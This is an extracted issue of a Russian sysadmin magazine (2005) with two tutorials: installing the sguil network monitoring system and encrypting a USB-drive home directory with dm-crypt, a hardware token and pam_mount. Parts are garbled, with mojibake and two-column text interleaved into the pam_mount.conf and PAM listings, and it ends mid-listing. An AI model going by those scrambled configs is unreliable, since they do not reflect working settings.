Òàáëèöà 1. Êàòåãîðèè ñîáûòèé, êîíòðîëèðóåìûå sguil
Естественно, первое, что приходит в голову после зна-
комства с sguil, это «еще один интерфейс к IDS Snort». Это
не совсем так. Главное отличие sguil от других проектов,
задачей которых является выдача информации собранной
Snort, состоит в выводе данных в реальном времени и воз-
можности проводить необходимые исследования, позволя-
ющие изучить конкретное событие.
№3, март 2005
безопасность
Установка sguil
На момент написания статьи актуальной была версия 0.5.3.
Такой номер версии, как обычно в мире Open Source, не
означает недоработанность утилиты. Сама установка и на-
стройка при внимательном подходе происходит, как пра-
вило, без особых проблем. В качестве операционной сис-
темы может быть использована любая из UNIX-систем, но
использование мультиплатформенных компонентов позво-
ляет установить sguil на Mac OS X или Windows. На сайте
проекта http://sguil.sourceforge.net продукт доступен как че-
рез cvs, так и в виде архива с исходными текстами. Его так-
же можно получить на сайте проекта Snort, при этом для
удобства установки все части системы, т.е. sensor, server и
client на некоторых сайтах могут находиться в разных архи-
вах. Если хорошо поискать, то можно найти и прекомпили-
рованые пакеты. Например, на сайте BOSECO Internet
Security Solutions (http://www.boseco.com), кроме rpm-паке-
тов доступен и базирующийся на Fedora Core дистрибутив
IDSLite, имеющий уже подготовленный к работе sguil. В ftp-
архиве http://www.spenneberg.org/IDS, кроме rpm-пакетов со
sguil, имеются и приложения, необходимые для удовлетво-
рения зависимостей. Наиболее общей является установка
исходных текстов, поэтому в статье будет показан этот ва-
риант. Итак, для настройки различных компонентов нам
понадобятся:
! База данных – сервер MySQL (http://www.mysql.com).
! Сервер Sguild:
! библиотека MySQL client
! Tcl (http://www.tcl.tk)
! Tcltls (http://www.sensus.org/tcl/tls.htm)
! Tcllib (http://tcllib.sourceforge.net)
! TclX (http://tclx.sourceforge.net)
! MySQLTcl (http://www.xdobry.de/mysqltcl)
! P0f (http://lcamtuf.coredump.cx/p0f.shtml)
! Tcpflow (http://www.circlemud.org/~jelson/software/
tcpflow)
! sguil-server
! Датчик sguil:
! библиотека MySQL client
! PCRE (http://www.pcre.org)
! Snort
! Barnyard (http://www.sourceforge.net/projects/barnyard)
! Tcl
! SANCP (http://www.metre.net/sancp.html)
! sguil-sensor
65
 безопасность
! Клиент sguil: Инициализируется база данных MySQL: [ ОК ]
! Tcl Запускается MySQL: [ ОК ]
! Tcltls # mysql -u root mysql
! Tcllib mysql> UPDATE user SET Password=PASSWORD('passwd')
! TclX WHERE user='root';
! Incrtcl (//incrtcl.sourceforge.net) Query OK, 2 rows affected (0.08 sec)
Rows matched: 2 Changed: 2 Warnings: 0
! Iwidgets (http://www.tcltk.com/iwidgets) mysql> FLUSH PRIVILEGES;
! Tk mysql> GRANT ALL PRIVILEGES ON sguildb.* TO sguil@localhost
! sguil-client IDENTIFIED BY 'sguilpasswd' WITH GRANT OPTION;
Query OK, 0 rows affected (0.00 sec)

Плюс опционально всеми компонентами поддержива- Далее нужную для работы базу данных можно создать
ется OpenSSL, хотя как вариант можно использовать и вручную, в документации подробно описан этот процесс.
stunnel. Перед установкой ознакомьтесь с составом паке- Но сервер sguild при первом своем запуске при отсутствии
тов, входящих в ваш дистрибутив, скорее всего, большая необходимой базы данных сам попробует ее создать.
часть из необходимого уже имеется. Все компоненты сис- После всего команда:
темы можно установить как на одном компьютере, так и
развернуть систему наблюдения за сетью на нескольких # mysql -u root -p -e "show tables"
машинах.
должна дать следующий вывод.
+-------------------+
| Tables_in_sguildb |
+-------------------+
| data |
| event |
| history |
| icmphdr |
| portscan |
| sensor |
| sessions |
| status |
| tcphdr |
| udphdr |
| user_info |
| version |
+-------------------+

Установка сервера sguild

Создание базы данных
для хранения информации
На всех компонентах sguil в целях безопасности рекомен-
дуется использовать отдельного непривилегированного
пользователя, поэтому вначале создаем его.
# groupadd sguil
# useradd -g sguil -s /bin/false -c "Sguil NSM" sguil
В качестве сервера базы данных на данный момент ис-
пользуется только MySQL, установке которого посвящено
много статей, плюс в документации sguil этот процесс опи-
сан подробно, поэтому сейчас он рассматриваться не бу-
дет. При установке сервера при помощи rpm-пакетов неко-
торые шаги будут выполнены автоматически, вам останет-
ся только проконтролировать результат.
Запускаем MySQL, устанавливаем пароль для root, ко-
торый во многих дистрибутивах оставлен пустым, и даем
необходимые привилегии пользователю sguil, от имени ко-
торого и будем в дальнейшем работать с базой данных.
Для удобства лучше поместить все конфигурационные
файлы сервера в отдельный каталог, например /etc/sguild.
Поэтому создаем его и переносим туда файлы sguild.users,
sguild.conf, sguild.queries, sguild.access, autocat.conf, кото-
рые находятся в архиве приложения в подкаталоге server.
Далее проверяем наличие необходимых компонентов.
# tclsh
% package require Tclx
can't find package Tclx
Устанавливаем Tclx, в результате вывод будет такой.
% package require Tclx
8.3
tclsh>exit
Затем необходимо зарегистрировать пользователя, от
имени которого мы будем работать с сервером.
# ./sguild -adduser sguil
ERROR: The mysqltcl extension does NOT appear to be installedon this sysem.
Download it at http://www.xdobry.de/mysqltcl/
SGUILD: Exiting...
Не получилось, система сообщает, что не установлен
mysqltcl.
Исправляемся.

# /etc/init.d/mysqld start # ./sguild -adduser sguil

66

ERROR: The sha1 package does NOT appear to be installed on this system.
The sha1 package is part of the tcllib extension. A port/package is available
for most linux and BSD systems.
SGUILD: Exiting...
Опять. На этот раз нет sha1, являющегося частью биб-
лиотеки tcllib.
# ./sguild -adduser sguil
Please enter a passwd for sguil:
Retype passwd:
User 'sguil' added successfully
SGUILD: Exiting...
Теперь все нормально, а в файле /etc/sguild/sguild.users
должна появиться следующая запись.
# cat /etc/sguild/sguild.users
sguil(.)(.)MU47f7efd575à04e2da381e2781b8f95bef4a0083c
По умолчанию файл /etc/sguild/sguild.access позволяет
подсоединяться к серверу любому клиенту и датчику. Для
безопасности желательно указать конкретные адреса.
Например:
sensor 192.168.0.20
client 127.0.0.1
Копируем исполняемый файл сервера sguild и библио-
теки, после чего запускаем.
# ñð /home/source/sguil-0.5.3/server/sguild /usr/bin
# ñð -R /home/source/sguil-0.5.3/server/lib /etc/sguil
# sguild
Loading access list: /etc/sguild/sguild.access
Adding sensor to access list: 192.168.0.20
Adding client to access list: 127.0.0.1
: Done
Loader Forked
Queryd Forked
Error: mysqluse/db server: Unknown database 'sguildb'
The database sguildb does not exist. Create it ([y]/n)?:
Path to create_sguildb.sql [./sql_scripts/create_sguildb.sql]:
Creating the DB sguildb...Okay.
Creating the structure for sguildb:
..........................................
Querying DB for archived events...
..........................................
Retrieving DB info...
Sguild Initialized.No clients to send info msg to.
====== Sensor Agent Status ======
Все. Сервер работает и ждет подключения сенсоров, а
в процессе первого запуска была создана база данных. В
rpm-пакетах и в подкаталоге pkgbuild/rpm имеется скрипт
sguild.init, который обеспечит запуск sguild при старте сис-
темы. Во время работы sguild использует конфигурацион-
ный файл sguild.conf, простой и к тому же хорошо коммен-
тированный. В нем придется подправить значения некото-
рых параметров, в первую очередь значение переменной
SGUILD_LIB_PATH /etc/sguil/lib, так как по умолчанию она
указывает на текущий каталог. Также проверьте путь к ути-
литам (p0f, tcpflow), параметры работы с базой данных, но-
мера портов, на которых sguil будет ожидать подключения
сенсоров и клиентов, каталог для хранения журналов, мес-
тонахождение правил snort и пр.
Настройка GUI-клиента sguil.tk
Это самая простая часть настройки. Клиент sguil.tk, пред-
ставляет собой готовый скрипт на tcl/tk и при наличии всех
№3, март 2005
безопасность
необходимых компонентов он будет работать без проблем.
В Windows его можно запустить при помощи библиотеки
ActiveState (http://www.activestate.com/Products/ActiveTcl), в
документе «Getting SGUIL to work with Windows» подробно
описан этот процесс. Во время своей работы скрипт считы-
вает файл sguil.conf, который по умолчанию должен лежать
либо в домашнем каталоге пользователя, либо в каталоге,
в котором находится скрипт. Иначе требуется указать его
местонахождение явно.
# ./sguil.tk -- -c /etc/sguil/sguil.conf
Параметры, которые можно задать при помощи этого
файла, понятны и где необходимо снабжены комментария-
ми. Некоторые из них можно изменить и после запуска. Сре-
ди них имя сервера и порт, включение поддержки OpenSSL,
путь к программам, вывод времени, цвет, используемый при
отображении тех или иных событий, почтовый адрес и со-
общение, которое будет отослано при обнаружении крити-
ческих происшествий. Для тестирования можно подклю-
читься к серверу demo.sguil.net порт 7734, введя любого
пользователя и пароль, и выбрав датчик «reset».
Установка датчика
Это самая сложная часть настроек, требующая вниматель-
ности, так как скрипты выводят мало отладочной инфор-
мации и ошибку отследить довольно тяжело. Для удобства
все сенсоры, работающие на одном компьютере, исполь-
зуют свой персональный каталог, в который они будут за-
писывать информацию – $LOG_DIR/$SENSOR_NAME. Раз-
работчики рекомендуют создать для этих целей на жест-
ком диске отдельный раздел, смонтировать его в каталог
/nsm и создать в нем подкаталоги, в которые будет записы-
ваться информация, поступающая от датчиков. Такой под-
ход позволит избежать переполнения основного раздела в
случае, если информации будет много. Я для этих целей
использую каталог /var/snort_data. В подкаталоге sensor/
snort_mods находятся два патча для препроцессоров Snort.
Для работы sguil они не обязательны, но увеличивают ко-
личество собранной информации и упрощают ее запись в
базу данных. Для работы потребуются исходники Snort. На
момент написания статьи в архиве sguil были патчи для snort
2.1, я использовал последний «слепок» (CVS snapshot), про-
блем с установкой и использованием не было. Но если у
вас что-то пойдет не так, возьмите соответствующую вер-
сию snort и соберите датчик с ней. Далее заходим в подка-
талог src/preprocessors и устанавливаем патчи.
# cd src/preprocessors
# cp spp_portscan.c spp_portscan.c.bak
# cp spp_stream4.c spp_stream4.c.bak
# cp <sguil-src>/sensors/snort_mods/2_1/ ↵
spp_portscan_sguil.patch
# cp <sguil-src>/sensors/snort_mods/2_1/spp_stream4.patch
# patch spp_portscan.c < spp_portscan_sguil.patch
# patch spp_stream4.c < spp_stream4_sguil.patch
После чего устанавливаем Snort как обычно (см. ста-
тью Павла Заклякова [6]), не включая во время конфигури-
рования поддержку mysql, о взаимодействии с которой те-
перь позаботится barnyard. Теперь в файле snort.conf опи-
сываем параметры работы обновленных препроцессоров.
67
 безопасность
Формат записи для portscan:
preprocessor portscan: $HOME_NET <ports> <secs> ↵
<logdir> <sensorname>
В нашем случае он будет таким:
preprocessor portscan: $HOME_NET 4 3 ↵
/var/snort_data/gateway/portscans syn
Запись для stream4:
preprocessor stream4: detect_scans, disable_evasion_alerts, ↵
keepstats db /var/snort_data/ gateway/ssn_logs
И в разделе «Snort unified binary format alerting and logging»
раскомментируем следующую строку:
output log_unified: filename snort.log, limit 128
Для нормальной работы сенсоров необходимо, чтобы
каталоги /var/snort_data/ gateway/portscans и /var/snort_data/
gateway/ssn_logs существовали и права доступа позволя-
ли пользователю sguil записать в них информацию. Иначе
будет получено такое сообщение:
ERROR: spp_portscan: /var/snort_data/gateway/portscans is not
a directory or is not writable
Fatal Error, Quitting..
Перед запуском их необходимо создать вручную.
# mkdir /var/snort_data/gateway/portscans
# mkdir /var/snort_data/gateway/ssn_logs
# chown -R sguil /var/snort_data
# chgrp -R sguil /var/snort_data
Запускаем Snort:
# snort -u sguil -g sguil -l /var/snort_data/ ↵
-c /etc/snort/snort.conf -U -A none -m 501 -i eth0
Running in IDS mode
Log directory = /var/snort_data/
Initializing Network Interface eth0
--== Initializing Snort ==--
Initializing Output Plugins!
Decoding Ethernet on interface eth0
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file /etc/snort/snort.conf
И так далее, заодно наблюдаем, как запускаются скон-
фигурированые нами препроцессоры.
Но это еще не все. Для захвата двоичных данных ис-
пользуется скрипт log_packets.sh, который можно найти в
подкаталоге sensor архива sguil. Необходимо обеспечить
его запуск/перезапуск при помощи cron.
# cp <sguil-src>/sensor/log_packets.sh /usr/bin/
И в файл, используемый crontab, внести следующие стро-
ки для перезапуска каждый час.
00 0-23/1 * * * /usr/bin/log_packets.sh restart
Кроме того, необходимо обязательно заглянуть внутрь
файла и подправить значения переменных HOSTNAME,
68
SNORT_PATH, LOG_DIR, GREP, PS, PIDFILE, INTERFACE,
выставив их в соответствии с вашей системой. При помо-
щи MAX_DISK_USE можно указать процент заполнения
диска данными по достижении которого начнется удаление
старой информации, а переменная FILTER позволяет бо-
лее точно указать скрипту на то, какие данные интересуют
исследователя, так как сценарий по умолчанию забирает
всю информацию.
И наконец, установка Barnyard. Чтобы не накладывать
патчи, необходимые для работы со sguil (они имеются в ар-
хиве), рекомендуется использовать версию 0.2.0. Конфигу-
рирование производится с параметрами ./configure --enable-
mysql, после чего Barnyard компилируется и устанавлива-
ется обычным образом. Далее правим конфигурационный
файл barnyard.conf, раскомментируем строку в конце фай-
ла и указываем в ней на параметры подключения к базе
данных и место сбора информации сенсорами.
# sguil
#----
# This output plug-in is used to generate output for use
# with the SGUIL user interface. To learn more about
# SGUIL, go to http://sguil.sourceforge.net
#
output sguil: mysql, sensor_id 0, database sguildb, ↵
server syn, user sguil,password sguilpasswd, ↵
sguild_host syn, sguild_port 7736
Теперь запускаем.
# /usr/sbin/barnyard -c /etc/snort/barnyard.conf ↵
-d /var/snort_data/ -g /etc/snort/gen-msg.map ↵
-s /etc/snort/sid-msg.map -f snort.log ↵
-w /etc/snort/waldo.file
Barnyard Version 0.2.0 (Build 32)
Opened spool file '/var/snort_data/gateway /snort.log.1109764386'
Closing spool file '/var/snort_data/gateway /snort.log.1109764386'.
Read 0 records
Opened spool file '/var/snort_data/gateway /snort.log.1109794324'
Waiting for new data
Правим конфигурационный файл sensor_agent.conf и
запускаем сам скрипт sensor_agent.tcl, лежащий в подка-
талоге sensor, который обеспечивает передачу данных на
сервер.
# ./sensor_agent.tcl
Connected to 192.168.0.20
Checking for PS files in /var/snort_data/gateway/portscans.
Checking for Session files in /var/snort_data/gateway/ssn_logs.
Checking for sancp stats files in /var/snort_data/gateway/sancp.
Sending sguild (sock3) DiskReport /var/snort_data/gateway 15%
Sending sguild (sock3) PING
Sensor Data Rcvd: PONG
PONG recieved
Теперь, запустив на сервере демон sguild, мы должны
наблюдать подключение нового сенсора.
====== Sensor Agent Status ======
No clients to send info msg to.
====== Sensor Agent Status ======
Connect from 192.168.0.20:32797 sock14
Validating sensor access: 192.168.0.20 :
ALLOWED
Sensor Data Rcvd: CONNECT gateway
No clients to send info msg to.
Sensor Data Rcvd: DiskReport /var/snort_data/gateway 15%
No clients to send info msg to.
Sensor Data Rcvd: PING

Для автоматического запуска sensor_agent.tcl при стар-
те системы используйте скрипт init/sensoragent.
Все. Теперь можно подключаться к серверу при помощи
клиента sguil.tk и приступать к анализу собранной информа-
ции. Как видно из рисунка, окно клиента sguil по умолчанию
состоит из двух вкладок RealTime Events и Escalated Events,
в которых в реальном времени выводится информация, со-
бранная snort. Верхняя половина также разделена на три
части, в которых выводятся события по степеням важности,
более серьезные в верхнем окне, менее серьезные в ниж-
нем. Если это неудобно, то можно изменить количество па-
нелей при помощи переменных RTPANES, RTPANE_
PRIORITY и RTCOLOR_PRIORITY в файле sguil.conf. Допол-
нительно можно отобрать все события, подпадающие под
определенную категорию, в отдельную вкладку, восполь-
зовавшись пунктом меню File. При этом если на скрытой
вкладке появится событие, заслуживающее внимания, то
заголовок изменит свой цвет. Параметр ST показывает на
статус предупреждения (RT – real time), CNT представляет
собой счетчик событий со сходными характеристиками.
Нижняя половина также разделена на две части. Слева вы-
водится информация, собранная при помощи обратного
DNS-запроса и сервиса whois, внизу можно просмотреть, в
зависимости от выбранной вкладки, системные и пользо-
вательские сообщения. Последние представляют собой про-
стейший чат между пользователями, зарегистрировавши-
мися на одном сервере. В правом нижнем окне выводится
№3, март 2005
безопасность
более подробная информация о предупреждении. При по-
мощи меню Query можно создавать запросы для отбора
определенной информации, которые будут сохранены в
файле /etc/sguil/sguild.queries. Для удобства предлагаются
мастера и уже подготовленные запросы. Пункт Reports по-
зволяет генерировать отчеты.
Sguil является довольно серьезным орудием в руках спе-
циалиста, которого беспокоит безопасность сетей. Но, как
любой другой инструмент, он требует приобретения практи-
ческих навыков работы. Освоив основные приемы, можно
быстро находить и локализовать проблемные участки.
Ссылки:
1. Домашняя страница проекта sguil – http://sguil.source-
forge.net.
2. Richard Bejtlich «What Is Network Security Monitoring?»:
http://www.awprofessional.com/title/0321246772.
3. Richard Bejtlich «Why Sguil Is the Best Option for Network
Security Monitoring Data»: http://www.informit.com/articles/
article.asp?p=350390&seqNum=1.
4. Michael Boman «Network Security Analysis with SGUIL»:
http://www.boseco.com/presentations/sguil-2004-1/img0.html.
5. Яремчук С. Тени исчезают в полдень. – журнал «Сис-
темный администратор», №12, 2004 г.
6. Закляков П. Обнаружение телекоммуникационных атак:
теория и практика, snort. – журнал «Системный адми-
нистратор», №10, 2003 г.
69
 безопасность
ШИФРОВАНИЕ ДАННЫХ
В LINUX – НОВЫЙ ВЗГЛЯД
НА АППАРАТНЫЕ КЛЮЧИ
«Кто владеет информацией, тот владеет миром» – всем из-
вестное изречение Уинстона Черчилля. Вот и мы, впустив
в свой дом компьютеры, доверяем им хранение части на-
шего внутреннего мира, который не должен предстать пе-
ред кем-либо, кроме самих владельцев. Что хранят милли-
оны жестких дисков по всему свету? От дружеской email-
переписки и домашних фотоальбомов до закрытой от по-
сторонних глаз информации, имеющей статус государствен-
ной и коммерческой тайны. Но кроме «винчестеров» име-
ются и другие носители, количеством и объемом хранимых
данных превосходящие своих братьев, находящихся внут-
ри корпусов современных ПК. Не стоит также недооцени-
вать значимость той же переписки, ведь статью 23 п.2 Кон-
ституции РФ еще никто не отменял.
Но, к сожалению, преступный мир не чтит государствен-
ных законов. Огромное количество персональных компью-
теров похищается прямо из дома, ноутбуки «забываются»
командированными сотрудниками, которые также часто ста-
новятся жертвами грабежа, мобильные носители могут быть
просто потеряны по пути из точки А в точку Б. Как можно в
таких случаях быть уверенным в том, что находящиеся на
70
АЛЕКСАНДР ПОХАБОВ
утерянных носителях данные не попадут в руки заинтере-
сованных в них лиц? А ведь подавляющее большинство ин-
формации хранится на жестких дисках, CD, DVD и т. д. в
«чистом» виде, и ничто не стеснит злоумышленника в его
действиях.
В Интернете, да и в печатных изданиях широко осве-
щены решения по шифрованию конфиденциальной инфор-
мации с использованием пары ключей. Следуя авторам
большинства таких статей, пользователи размещают клю-
чи на все тех же простых носителях, таких как FLASH-нако-
пители и флоппи-диски (последние к тому же имеют свой-
ство отказывать в самый неподходящий момент). И тут уже
подбор верного passphrase к легкодоступным ключам – дело
техники.
Нашей задачей будет если не предотвратить возможность
восстановления злоумышленником данных из зашифрован-
ного раздела полностью, то на порядки усложнить его рабо-
ту. В этом нам поможет аппаратный ключ, хранящий серти-
фикаты и ключи в своей защищенной энергонезависимой
EEPROM-памяти. Его «прошивка» описана в статье «Же-
лезный login: ломаем зубы грубой силе», №12, 2004 г.).

Поскольку я имею дело с домашней рабочей станцией
под управлением Gentoo Linux, а не с промышленным сер-
вером, то позволил себе использовать dm-crypt вместо crypto-
loop (подразумевает ядро начиная с версии 2.6.4). Я дове-
рился мэйнтейнеру cryptoapi Fruhwirth Clemens, выражав-
шему свои доводы в пользу dm-crypt в LKML, что и вам со-
ветую.
Впервые поддержка dm-crypt появилась в ядре 2.6.4, но
несмотря на четный минор, в широком кругу Linux-сообще-
ства считается авантюрой перевод работающих серверов
на новую ветвь ядра. В 2.4.-ядрах Device Mapper Support
недоступен. Из преимуществ dm-crypt перед cryptoloop бег-
ло можно назвать независимость от инструментов про-
странства пользователя (linux-util), использование mempool,
и отсутствие необходимости в правке /etc/fstab . Более под-
робную информацию вы можете найти на сайте проекта:
http://www.saout.de/misc/dm-crypt.
Принцип действия таков: мы поместим зашифрованный
публичный ключ в начало защищаемого раздела, при вхо-
де в систему определенного пользователя (обладающего
аппаратным ключом и знающим PIN), зашифрованный ключ
будет прочитан во временный файл, расшифрован pkcs15-
crypt и передан в качестве параметра cryptsetup для опре-
деления зашифрованного раздела (во избежание удаления
ключа из начала раздела cryptsetup вызывается с парамет-
ром --offset=SECTORS), после чего содержащий копию клю-
ча временный файл будет удален. Далее мы отформатиру-
ем новый раздел (для первого использования), смонтиру-
ем его и перенесем в него копию домашнего каталога
пользователя.
Все это, за исключением форматирования и переноса
из резервной копии содержимого $HOME, будет делаться
автоматически с помощью pam_mount в момент регистра-
ции целевого пользователя в системе.
Убедитесь, что в ядре присутствует все необходимое для
дальнейшей работы. Ниже приведена выдержка из моего
/usr/src/linux/.config:
CONFIG_BLK_DEV_DM=y
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=y
CONFIG_CRYPTO_AES_586=y
Также проверьте, установлены ли:
sys-fs/cryptsetup
dev-libs/openssl
dev-libs/openct
sys-fs/device-mapper
Как бы то ни было, установленный не из CVS-репозито-
рия opensc придется удалить, так как только в CVS-версии
pkcs15-crypt имеется опция --raw, используемая мною в дан-
ном примере. В стабильных версиях вывод pkcs15-crypt не
будет распознан как параметр cryptsetup. Данная опция
была добавлена 21 августа 2004 года и не была включена
в релиз стабильной версии OpenSC 0.9.4, вышедший поз-
же – 31 октября 2004. Будет ли она в следующем релизе, я
сказать не могу.
№3, март 2005
безопасность
# emerge unmerge opensc
Установка opensc из CVS:
# cvs -d :pserver:cvs@cvs.opensc.org:/cvsroot login
Примечание: вместо ввода пароля нажмите <Enter>.
# cvs -z3 -d :pserver:cvs@cvs.opensc.org:/cvsroot co opensc
# cd opensc
# ./bootstrap
# ./configure --prefix=/usr --exec-prefix=/usr ↵
--with-pam-dir=/ïóòü_ê/libpam --with-pam ↵
--with-openct=/ïóòü_ê/libopenct ↵
--with-openssl=/ïóòü_ê/openssl
Проверьте вывод ./configure в STDOUT, необходимые оп-
ции, такие как OpenSSL support, OpenCT support и PAM
support должны быть включены (отмечены как «yes»).
# make
# make install
Если при конфигурировании ядра вы не включили в ядро
dm-crypt (Multi-device support (RAID and LVM) → Device
Mapper Support и Crypt Target Support) статически, то под-
грузите модуль:
# modprobe dm_crypt
Создайте любым удобным для вас способом резервную
копию пользовательского домашнего каталога. У меня он
автоматически архивируется по расписанию и практичес-
ки ничего, кроме ~/.bash_history, в нем не изменяется. Ре-
зервная копия понадобится нам для переноса всего ее со-
держимого во вновь созданный и смонтированный в при-
вычный пользовательский $HOME (прописанный в /etc/
passwd) защищенный раздел, проще говоря – для мигра-
ции. По моему личному мнению резервирование домаш-
них каталогов – просто хороший тон.
Специально для простоты и удобства я создал в корне
директорию /crypt и работал в ней.
# mkdir /crypt
# cd /crypt
# chmod 700 /crypt
# chown chiko:root /crypt
где chiko – пользовательский login.
Далее читаем публичный ключ с прошитого аппаратно-
го и шифруем его перед помещением в создаваемый раз-
дел:
# pkcs15-tool --read-public-key 45 > mykey.pub
# dd if=/dev/random of=/crypt/key.plain bs=1 count=96
96+0 records in
96+0 records out
# openssl rsautl -encrypt -pubin -inkey mykey.pub ↵
-in /crypt/key.plain -pkcs -out /crypt/key
# rm /crypt/key.plain
# rm /crypt/mykey.pub
Вывод pkcs15-crypt в STDOUT не радует глаз, зато те-
перь известно, что ключ расшифрован и может быть пере-
дан в качестве параметра:
71
 безопасность
# pkcs15-crypt --raw --pkcs1 --decipher -k 45 -i /crypt/key
Enter PIN [CHIKOPIN]:
Можно убедиться в преимуществе CVS-версии opensc,
вызвав pkcs15-crypt без опции --raw.
В своем примере я защищаю домашнюю директорию,
находящуюся на USB-Flash накопителе (/dev/sda1) объе-
мом ~244 Мб, вы же можете использовать любой раздел
диска. Не поленитесь проверить размер вашего домашне-
го каталога – он не должен превышать вместимости раз-
дела.
# dd if=/dev/urandom of=/dev/sda1 bs=1M count=240
245+0 records in
244+0 records out
Размещаем в начале раздела ключ :
# dd conv=notrunc if=/dev/zero of=/dev/sda1 bs=1024 count=1024
1024+0 records in
1024+0 records out
# dd conv=notrunc if=/crypt/key of=/dev/sda1 bs=1
128+0 records in
128+0 records out
Проверим, читается ли он безошибочно из рассматри-
ваемого раздела, для этого сравним выводы md5sum до
копирования ключа обратно в /crypt :
# md5sum /crypt/key
8fc7975ed38f56cabe507a93baaa177a /crypt/key
# rm /crypt/key
и после:
# dd if=/dev/sda1 bs=1 count=128 of=/crypt/key
128+0 records in
128+0 records out
# md5sum /crypt/key
8fc7975ed38f56cabe507a93baaa177a /crypt/key
Отлично, записанный в начало раздела ключ читается
безошибочно. Готовим раздел к переносу пользовательс-
ких данных из резервной копии:
# pkcs15-crypt --raw --pkcs1 --decipher -k 45 ↵
-i /crypt/key | cryptsetup --hash=plain ↵
--cipher=aes --key-size=256 ↵
--offset=2048 create mynewhome /dev/sda1
Enter PIN [CHIKOPIN]:
На данном шаге форматируется новый раздел. Я пред-
почел ext2fs, но никому не навязываю своего решения:
# mkfs.ext2 /dev/mapper/mynewhome
Забавно наблюдать за пользователями Windows, пыта-
ющимися посмотреть содержимое FLASH-накопителя и
предложение отформатировать его.
Смонтируем:
# mount /dev/mapper/mynewhome /home/chiko
72
Перенесем из резервной копии содержимое домашне-
го каталога пользователя chiko и сделаем его владельцем
командой:
# chown –R chiko:root /home/chiko
В моей системе пользователь chiko не является членом
группы root, в нее входит лишь одноименный пользователь.
Приходилось видеть права доступа rwxr-x-- на домашних
каталогах пользователей, входящих в группу, насчитываю-
щую несколько представителей. Права на чтение и про-
смотр каталога были выставлены именно на ту самую груп-
пу, соответственно, в ~/.bash_history пользователя vasya
встречалось что-то вроде cp -R /home/nikolay ~/kolya_lamer.
Проследите за тем, чтобы никто не мог перейти ваш $HOME,
если же необходимо впустить кого-нибудь, не стоит рекур-
сивно отдавать все и всем.
Не забывайте, что ~/.eid/authorized_certificates должен
быть доступен для чтения и в неподключенном в точку /home/
chiko (пользовательский $HOME, указанный в /etc/passwd)
новом разделе и в смонтированном. Последнее уже выпол-
нено при восстановлении из резерва всей копии домашне-
го каталога.
# umount /home/chiko
Резервная копия домашнего каталога имеется, после
успешного монтирования зашифрованного раздела може-
те распорядиться им по своему усмотрению. Я оставил в
несмонтированной точке /home/chiko лишь /.eid/authorized_
certificates, а все остальное просто удалил.
# cryptsetup remove mynewhome
# rm /crypt/key
Устанавливаем pam_mount. Для большинства дистри-
бутивов эта задача тривиальна.
Для пользователей Gentoo Linux имеется ebuild, скачать
можно здесь: http://bugs.gentoo.org/attachment.cgi?id=51530&
action=view.
Установка с помощью ebuild в Gentoo считается идеоло-
гически верной, но при желании можно взять исходники pam_
mount на домашней странице: http://www.flyn.org/projects/
pam_mount и установить вручную. Когда он будет включен в
portage-tree и будет ли вообще включен, мне, к сожалению,
неизвестно.
После установки pam_mount необходимо отредактиро-
вать два файла: конфигурационный /etc/security/pam_
mount.conf и скрипт /sbin/mount.crypt.
Лично я потратил много времени на редактирование и
доводку скрипта /sbin/mount.crypt, установленного с помощью
вышеназванного ebuild, но раздел не монтировался. На по-
мощь пришел mount.crypt от дистрибутива Debian, который
можно взять здесь: http://bugs.gentoo.org/attachment.cgi?
id=49305.
Скачайте и замените им имеющийся /sbin/mount.crypt.
Поскольку я не могу рассмотреть данный скрипт в каждом
отличном от Gentoo дистрибутиве, рекомендую загрузить его
всем и как минимум проверить с помощью diff различия от
поставляемого с вашей системой с предлагаемым мной.
 безопасность
Приступим к конфигурированию. Ниже привожу листин- комендуется запретить пользователям просматривать спи-
ги /etc/security/pam_mount.conf и /sbin/mount.crypt. сок чужих процессов с помощью grsecurity (см. одноимен-
ную статью Кирилла Тихонова в журнале №9, 2004 г.).
#cat /etc/security/pam_mount.conf Остается подправить /etc/pam.d/login :
debug 0
# Ïðè âîçíèêíîâåíèè îøèáîê áóäåò ïîëåçíî èìåòü âûâîä: debug 1
options_allow nosuid,nodev,loop,encryption # cat /etc/pam.d/login
# Çäåñü è ñòðîêîé íèæå ïî æåëàíèþ #%PAM-1.0
options_require nosuid,nodev
lsof /usr/sbin/lsof %(MNTPT) auth optional pam_mount.so
fsck /bin/true auth required ↵
# Äëÿ FLASH-íàêîïèòåëÿ ñ ext2fs íå ñ÷åë íóæíûì ïðîâåðÿòü fsck.ext2 /usr/local/lib/security/pam_opensc.so use_first_pass
losetup /bin/true [ïñ] session optional pam_mount.so use_first_pass
unlosetup /bin/true [ïñ] account required ↵
cifsmount /bin/mount -t cifs //%(SERVER)/%(VOLUME) %(MNTPT) ↵ /lib/security/pam_stack.so service=system-auth
-o "username=%(USER)%(before=\",\" OPTIONS)" session required ↵
smbmount /bin/mount -t smbfs //%(SERVER)/%(VOLUME) %(MNTPT) ↵ /lib/security/pam_stack.so service=system-auth
-o "username=%(USER)%(before=\",\" OPTIONS)"
ncpmount /bin/mount -t ncpfs %(SERVER)/%(USER) %(MNTPT) ↵ Пробуем зарегистрироваться как chiko. Если вы верно
-o "pass-fd=0,volume=%(VOLUME)%(before=\",\" OPTIONS)"
umount /bin/umount %(MNTPT) следовали моему описанию, то должны увидеть что-то на-
lclmount /sbin/mount.crypt %(VOLUME) %(MNTPT) -o %(OPTIONS) подобие этого (при выставленном в /etc/security/pam_
# Íå çàáóäüòå çàìåíèòü /sbin/mount.crypt ñêðèïòîì èç Debian
cryptmount /sbin/mount.crypt %(VOLUME) %(MNTPT) ↵ mount.conf значении debug 1):
-o %(OPTIONS)
nfsmount /bin/mount %(SERVER):%(VOLUME) ↵ pam_mount: reading options_allow...
"%(MNTPT)%(before=\"-o \" OPTIONS)" pam_mount: reading options_require...
pmvarrun /usr/sbin/pmvarrun -u %(USER) -d -o %(OPERATION)
# Ñòðîêà, îïèñûâàþùàÿ èìÿ ïîëüçîâàòåëÿ, ðàçäåë, òî÷êó pam_mount: back from global readconfig
pam_mount: per-user configurations not allowed ↵
# è îïöèè ìîíòèðîâàíèÿ by pam_mount.conf
volume chiko crypt - /dev/sda1 /home/chiko loop,cipher=aes - -
pam_mount: real and effective user ID are 0 and 0.
pam_mount: checking sanity of volume record (/dev/sda1)
pam_mount: about to perform mount operations
Весь листинг /sbin/mount.crypt слишком велик, чтобы при- pam_mount: information for mount:
